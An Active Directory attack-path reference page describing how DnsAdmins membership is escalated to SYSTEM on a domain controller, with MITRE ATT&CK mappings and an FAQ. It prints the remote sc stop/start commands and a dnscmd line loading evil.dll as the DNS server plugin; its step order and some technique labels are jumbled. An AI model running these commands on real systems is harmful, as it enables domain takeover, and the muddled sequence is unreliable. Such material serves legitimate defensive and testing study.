Skip to content
← RegistryDossier · 5 steps · 4 edges

DnsAdmins membership → SYSTEM on the DC

DnsAdmins members can load a DLL via the DNS service ServerLevelPluginDll registry value — the service runs as SYSTEM on the DC.

Filed by AD Knowledge Base
§ Kill-chainDrag · zoom · scroll

§ Context

Assumed environment: a compromised principal is in DnsAdmins. The DNS server role is hosted on the DC (default). Mitigated since 2021 with prerequisite admin checks — verify version.

§ Steps

  1. 01
    Principal in DnsAdminsInitial Access
    T1078Valid Accounts
  2. 02
    Restart DNS serviceExecution
    T1059Command and Scripting Interpreter

    sc \\<dc> stop dns; sc \\<dc> start dns — DnsAdmins can do this in some configs.

  3. 03
    SYSTEM exec on the DCCredential Access
    T1003.003NTDS
  4. 04
    dnscmd \\<dc> /config /serverlevelplugindll \\<share>\evil.dllPrivilege Escalation
    AD-GROUP-DNSADMINSDnsAdmins → SYSTEM on DC
  5. 05
    Host malicious DLL on a writable share

§ References

§ Frequently asked

What is the "DnsAdmins membership → SYSTEM on the DC" attack path?
DnsAdmins members can load a DLL via the DNS service ServerLevelPluginDll registry value — the service runs as SYSTEM on the DC. It chains 5 steps drawn from real-world offensive-security techniques.
What starting position does this attack require?
The first step is Principal in DnsAdmins (T1078) — a initial access primitive. Assumed environment: a compromised principal is in DnsAdmins.
What is the final impact of this kill-chain?
The final step lands on dnscmd \\<dc> /config /serverlevelplugindll \\<share>\evil.dll (AD-GROUP-DNSADMINS), which falls under Privilege Escalation. From here, an operator typically pivots into post-exploitation or maintains persistence.
How can defenders detect or prevent this attack?
Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers